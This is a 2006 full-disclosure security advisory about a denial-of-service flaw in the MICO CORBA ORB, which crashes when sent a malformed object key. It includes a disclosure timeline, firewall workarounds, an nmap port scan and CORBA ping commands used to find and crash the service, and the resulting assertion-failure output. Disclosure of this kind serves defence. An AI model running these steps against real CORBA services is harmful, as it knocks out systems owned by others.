Mico crashes when contected with wrong IOR / DoS Jul 06 2006 07:03PM
tuergeist (tuergeist googlemail com)
== == == TOC == == ==

1. Affected Vendor
2. Affected Product
3. Vulnerability
4. Safety Hazard
5. Disclosure Timeline
6. Vendor Response
7. Patch / Workaround
8. Vulnerability Details


== 1. Affected Vendor ==
Object Security

== 2. Affected Products ==
MICO - Mico is CORBA, Open Source ORB
tested on Version
and latest from repository
more infos: http://www.mico.org

== 3. Vulnerability ==
MICO crashes when contacted with wrong object key (part: orb-id or
orb-creation time)

== 4. Safety Hazard ==
critical, potential Denial-of-Service

== 5. Disclosure Timeline ==
2006-06-27 Problem found and analysed / tested with other versions
2006-06-29 Vulnerability reported to vendor and MICOs
2006-07-05 2nd mail to vendor and mailing-list
2006-07-06 Full disclosure

== 6. Vendor Response ==

== 7. Patch / Workaround ==
No Patch avaible yet.

possible Workarounds
a) Don't use MICO in or over public networks
b) Protect MICO with an (IIOP) firewall

== 8. Vulnerability Details ==
The following is for educational purposes only!

Start the orb, you'll crash # Example code
-> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
$ ./server
scan your target...
$ sudo nmap -sS -oM results.nmap -p 1-65535 /
| grep unknown
8010/tcp open unknown
49576/tcp open unknown
51140/tcp open unknown

One of these port could be the orb. Lets try to ping
(object._non_exists()) the last one. For this I'm using a special
handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo..
My JPing is avaible at
$ java JPing -p corbaloc::
orb.string_to_object ... ok
object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
vmcid: SUN minor code: 208 completed: Maybe

The line above are indicating that there was something wrong. On
every active port, you'll get COMM_FAILURE; but on the ORB-port
OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec.
(See http://www.omg.org)

-- mico testserver crashed / output --
A look into server terminal let us know, that there's sth. wrong.

$ ./server
0000001010000160000006c6f63616c686f73 742e6c6f63616c646f6d61696e00c4c71
0100 000001000000010000001400000001000000010001000000000009010100000000
00 # myior <-- everything is ok until here
server: orb.cc:332: void CORBA::ORBInvokeRec::set_answer_invoke(CORBA::
InvokeStatus, CORBA::Object*, CORBA:: ORBRequest*, GIOP::AddressingDisp
osition): Assertion `_type == RequestInvoke' failed.

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